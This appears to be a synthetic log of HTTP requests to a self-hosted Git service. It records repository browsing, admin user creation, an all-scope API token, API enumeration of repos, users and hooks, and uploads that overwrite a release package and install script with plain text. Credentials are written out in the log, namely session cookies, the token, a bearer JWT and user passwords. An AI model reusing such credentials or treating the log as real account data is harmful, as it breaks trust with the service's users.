{"method": "GET", "target": "/assets/js/pull-request-merge-form.8413f096.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2/commits", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/pulls/2/files", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/css/diff-commit-selector.17df8f29.css", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/assets/js/diff-commit-selector.302a470f.js", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Referer: http://example.com/alice/tools/pulls/2/files", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/user/settings", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 142", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "name=alice&full_name=Alice+Example&pronouns=&biography=Writes+build+tools.&website=https%3A%2F%2Fexample.com&location=Springfield&visibility=0"}
{"method": "POST", "target": "/admin/users/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 185", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&login_type=0-0&visibility=0&login_name=&user_name=carol&email=carol%40example.com&password=Qe5-tVb7-Mn3c-Kj8y&must_change_password=on"}
{"method": "GET", "target": "/admin/users/4", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/new", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2B%2522carol%2522%2Bhas%2Bbeen%2Bcreated."], "body": ""}
{"method": "GET", "target": "/avatars/d4766e3f21c67b7c786f012d910fa54f?size=128", "headers": ["Host: example.com", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/users/4", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "GET", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": ""}
{"method": "POST", "target": "/admin/users/2/edit", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 265", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US"], "body": "_autofill_dummy_username=&_autofill_dummy_password=&user_name=bob&login_type=0-0&visibility=0&login_name=&full_name=Bob+Example&pronouns=&email=bob%40example.com&password=&language=en-US&website=&location=&max_repo_creation=-1&active=on&allow_create_organization=on"}
{"method": "GET", "target": "/admin/users/2", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/users/2/edit", "Accept-Encoding: gzip, deflate", "Cookie: session=9f3cc5769e87c814; lang=en-US; flash=success%3DThe%2Buser%2Baccount%2Bhas%2Bbeen%2Bupdated."], "body": ""}
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 241", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=34fdf904aa90270d; lang=en-US"], "body": "name=build-token&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
{"method": "POST", "target": "/user/settings/applications/tokens/new", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 254", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US"], "body": "name=build-token&resource=all&repo_search=&page=1&scope=write%3Aactivitypub&scope=write%3Aadmin&scope=write%3Aissue&scope=write%3Amisc&scope=write%3Anotification&scope=write%3Aorganization&scope=write%3Apackage&scope=write%3Arepository&scope=write%3Auser"}
{"method": "GET", "target": "/user/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/settings/applications/tokens/new", "Accept-Encoding: gzip, deflate", "Cookie: session=8ed5d13514629cf4; lang=en-US; flash=info%3D518efde244d57864ef12487cdec73aa828e5deaf%26success%3DYour%2Bnew%2Btoken%2Bhas%2Bbeen%2Bgenerated.%2BCopy%2Bit%2Bnow%2Bas%2Bit%2Bwill%2Bnot%2Bbe%2Bshown%2Bagain."], "body": ""}
{"method": "GET", "target": "/api/v1/version", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/user", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/settings/api", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=all&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/branches/python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/tags", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/contents/scripts/install-script.sh?ref=main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/raw/bin/docker-entrypoint", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/media/src/process.env.d.ts", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?path=scripts/install-script.sh&limit=5", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/commits?sha=python3-migration", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/git/trees/main", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/milestones", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/collaborators", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/repos/alice/tools/hooks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/admin/orgs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/orgs/acme", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/users/alice/repos", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/notifications", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "POST", "target": "/api/v1/repos/alice/tools/labels", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 68"], "body": "{\"name\":\"bug\",\"color\":\"#ee0701\",\"description\":\"Something is broken\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 83"], "body": "{\"title\":\"Document the python3 setup\",\"body\":\"Say which version the scripts need.\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/comments", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 40"], "body": "{\"body\":\"The setup notes cover it now.\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools/issues/3", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 18"], "body": "{\"state\":\"closed\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------c8PTgaGzJM0bzMXgzs4jFA"], "body": "--------------------------c8PTgaGzJM0bzMXgzs4jFA\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------c8PTgaGzJM0bzMXgzs4jFA--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/issues/3/assets?name=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------8vBtFvaNGea9428ByqN6zh"], "body": "--------------------------8vBtFvaNGea9428ByqN6zh\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------8vBtFvaNGea9428ByqN6zh--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 69"], "body": "{\"tag_name\":\"v1.2.0\",\"name\":\"Version 1.2.0\",\"body\":\"Smaller images.\"}"}
{"method": "GET", "target": "/api/v1/repos/alice/tools/releases/tags/v1.2.0", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets?name=install-script.sh", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------a8C2mRAVkCsfebNVoTuH9d"], "body": "--------------------------a8C2mRAVkCsfebNVoTuH9d\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------a8C2mRAVkCsfebNVoTuH9d--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/releases/3/assets", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Length: 246", "Content-Type: multipart/form-data; boundary=------------------------bwR0eGsF72IMLlKpnzjarK"], "body": "--------------------------bwR0eGsF72IMLlKpnzjarK\r\nContent-Disposition: form-data; name=\"attachment\"; filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\nSteps to reproduce: run the build twice.\n\r\n--------------------------bwR0eGsF72IMLlKpnzjarK--\r\n"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 100"], "body": "{\"content\":\"V3JpdGUtSG9zdCAiYnVpbGQiCg==\",\"message\":\"Add a PowerShell build script\",\"branch\":\"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 59"], "body": "{\"new_branch_name\":\"python3-docs\",\"old_branch_name\":\"main\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 96"], "body": "{\"title\":\"Add Dockerfile\",\"head\":\"feat/docker-support\",\"base\":\"main\",\"body\":\"Builds the image.\"}"}
{"method": "PATCH", "target": "/api/v1/repos/alice/tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 87"], "body": "{\"description\":\"Build scripts, notes and a Dockerfile\",\"website\":\"https://example.com\"}"}
{"method": "POST", "target": "/api/v1/repos/alice/tools/forks", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 23"], "body": "{\"organization\":\"acme\"}"}
{"method": "POST", "target": "/api/v1/admin/users", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 107"], "body": "{\"username\":\"dave\",\"email\":\"dave@example.com\",\"password\":\"Lp6-xRw4-Bq9z-Hs3d\",\"must_change_password\":false}"}
{"method": "PATCH", "target": "/api/v1/admin/users/dave", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf", "Content-Type: application/json", "Content-Length: 80"], "body": "{\"login_name\":\"dave\",\"full_name\":\"Dave Example\",\"password\":\"Yt2-cNm8-Fg5k-Wa7e\"}"}
{"method": "DELETE", "target": "/api/v1/repos/alice/tools/branches/python3-docs", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?q=tools", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "GET", "target": "/api/v1/packages/alice?type=generic&q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.17.0", "Accept: */*", "Authorization: token 518efde244d57864ef12487cdec73aa828e5deaf"], "body": ""}
{"method": "PUT", "target": "/api/packages/alice/generic/tools/1.2.0/tools-linux-amd64.tar.gz", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
{"method": "PUT", "target": "/api/packages/alice/generic/install-script/1.0.0/install-script.sh", "headers": ["Host: example.com", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "User-Agent: curl/8.17.0", "Accept: */*", "Content-Length: 41"], "body": "Steps to reproduce: run the build twice.\n"}
{"method": "GET", "target": "/v2/", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept-Encoding: gzip"], "body": ""}
{"method": "GET", "target": "/v2/token?scope=repository%3Aalice%2Fpython3-app%3Apush%2Cpull&service=container_registry", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Authorization: Basic YWxpY2U6NTE4ZWZkZTI0NGQ1Nzg2NGVmMTI0ODdjZGVjNzNhYTgyOGU1ZGVhZg==", "Accept-Encoding: gzip"], "body": ""}
{"method": "HEAD", "target": "/v2/alice/python3-app/manifests/1.0", "headers": ["Host: example.com", "User-Agent: crane/8a72a424fdecb4caa14f2d525e5d2503331442b5 go-containerregistry/v0.0.0-20260904000721-8a72a424fdec+dirty", "Accept: application/vnd.docker.distribution.manifest.v1+json,application/vnd.docker.distribution.manifest.v1+prettyjws,application/vnd.docker.distribution.manifest.v2+json,application/vnd.oci.image.manifest.v1+json,application/vnd.docker.distribution.manifest.list.v2+json,application/vnd.oci.image.index.v1+json", "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3OTQ0Njg1MzYsIm5iZiI6MTc5NDM4MjEzNiwiVXNlcklEIjoxLCJTY29wZSI6ImFsbCJ9.6n67_HBXd57plKX_u-2G-eC5ojNw-dBgYZy51W7LtD0"], "body": ""}
